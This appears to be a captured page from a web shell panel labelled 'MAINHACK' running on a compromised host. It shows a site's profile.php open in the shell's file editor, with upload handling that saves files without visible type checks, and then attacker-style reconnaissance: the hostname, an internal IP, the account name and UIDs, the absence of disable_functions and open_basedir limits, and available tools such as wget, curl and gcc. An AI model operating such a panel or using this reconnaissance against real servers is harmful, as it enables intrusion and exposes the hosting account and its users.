[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: profile.php
<?php include('header.php'); ?> <script src="sweetalert-master/dist/sweetalert.min.js"></script> <link rel="stylesheet" type="text/css" href="sweetalert-master/dist/sweetalert.css"> <script> function click1(){ if (window.confirm('Really want to delete the data')) { window.location.href = "delete_category.php"; return true; } else return false; } </script> <div id="page-wrapper"> <div class="main-page"> <div class="col-md-12"> <div class="panel panel-primary"> <div class="panel-heading"> <h3 class="panel-title">Profile</h3> </div> <div class="panel-body"> <form method="post" enctype="multipart/form-data" action="" class="form-horizontal"> <div class="col-sm-4"> <label>Company Name</label> <input type="text" class="form-control" name="company_name" value="<?=$company_name?>" /> </div> <div class="col-sm-6"> <label>Company Title</label> <input type="text" class="form-control" name="title" value="<?=$title?>" /> </div> <div class="col-sm-2"> <label>GSTIN</label> <input type="text" class="form-control" name="gst" value="<?=$gst?>" /> </div> <div class="col-sm-8"> <label>Company Address</label> <input type="text" class="form-control" name="address" value="<?=$address?>" /> </div> <div class="col-sm-4"> <label>Company website</label> <input type="text" class="form-control" name="website" value="<?=$website?>" /> </div> <div class="col-sm-4"> <label>Company State</label> <input type="text" class="form-control" name="state" value="<?=$state?>" /> </div> <div class="col-sm-4"> <label>Company City</label> <input type="text" class="form-control" name="city" value="<?=$city?>" /> </div> <div class="col-sm-4"> <label>Company Pincode</label> <input type="text" class="form-control" name="pincode" value="<?=$pincode?>" /> </div> <div class="col-sm-4"> <label>Contact Person</label> <input type="text" class="form-control" name="contact_person" value="<?=$contact_person?>" /> </div> <div class="col-sm-4"> <label>Company Email</label> <input type="text" class="form-control" name="email" value="<?=$email?>" /> </div> <div class="col-sm-4"> <label>Company Phone</label> <input type="text" class="form-control" name="phone" value="<?=$phone?>" /> </div> <div class="col-sm-4"> <label>Watsapp NO</label> <input type="text" class="form-control" name="watsapp" value="<?=$watsapp?>" /> </div> <div class="col-sm-4"> <label>Company Logo</label> <input type="file" name="logo" onchange="return fileValidation('left_img','100')" id="left_img"/> <img src="<?=$company_logo?>" width="100px"> </div> <div class="col-sm-4"> <label>Company Favicon</label> <input type="file" name="favicon" onchange="return fileValidation('left_img','100')" id="left_img"/> <img src="<?=$favicon?>" width="100px"> </div> <div class="col-sm-4"> <label>FaceBook Link</label> <input type="text" class="form-control" name="fb" value="<?=$fb?>" /> </div> <div class="col-sm-4"> <label>Instagram Link</label> <input type="text" class="form-control" name="insta" value="<?=$insta?>" /> </div> <div class="col-sm-4"> <label>Company Brochure</label> <input type="file" name="brochure" /> <a href="<?=$brochure?>" class="btn btn-success btn-xs">Download</a> </div> <div class="clearfix"></div><br> <div class="col-sm-12"> <input type="submit" name="sub" value="Submit" class="btn btn-info" /> </div> </div> </form> <?php if(isset($_POST['sub'])){ $allowed = ["company_name","address","phone","email","website","state","city","pincode","contact_person","title","fb","insta","gst"]; $params = []; $setStr = ""; foreach ($allowed as $key) { if (isset($_POST[$key]) && $key != "uid") { $setStr .= "`$key` = :$key,"; $params[$key] = htmlspecialchars(strip_tags($_POST[$key])); } } if(file_exists($_FILES['logo']['tmp_name']) || is_uploaded_file($_FILES['logo']['tmp_name'])) { $setStr .= "`logo` = :logo,"; $img=$show->imageEdit($_FILES['logo']['name']); move_uploaded_file($_FILES['logo']['tmp_name'],"../product_img/".$img); $params['logo'] =$img; } if(file_exists($_FILES['favicon']['tmp_name']) || is_uploaded_file($_FILES['favicon']['tmp_name'])) { $setStr .= "`favicon` = :favicon,"; $img=$show->imageEdit($_FILES['favicon']['name']); move_uploaded_file($_FILES['favicon']['tmp_name'],"../product_img/".$img); $params['favicon'] =$img; } if(file_exists($_FILES['brochure']['tmp_name']) || is_uploaded_file($_FILES['brochure']['tmp_name'])) { $setStr .= "`brochure` = :brochure,"; $img=$show->imageEdit($_FILES['brochure']['name']); move_uploaded_file($_FILES['brochure']['tmp_name'],"../product_img/".$img); $params['brochure'] =$img; } $setStr = rtrim($setStr, ","); $params['id'] =$cid; $show->table ='profile'; $show->cols =$setStr; $show->id_name ='id'; $show->params =$params; $r=$show->update_all(); if($r){ echo '<script> setTimeout(function() { swal({ title: "Thank You!", text: "Your Profile has been updated", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; } } ?> </div></div> </div> </div></div> <!--footer--> <?php include('footer.php'); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 678.16 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619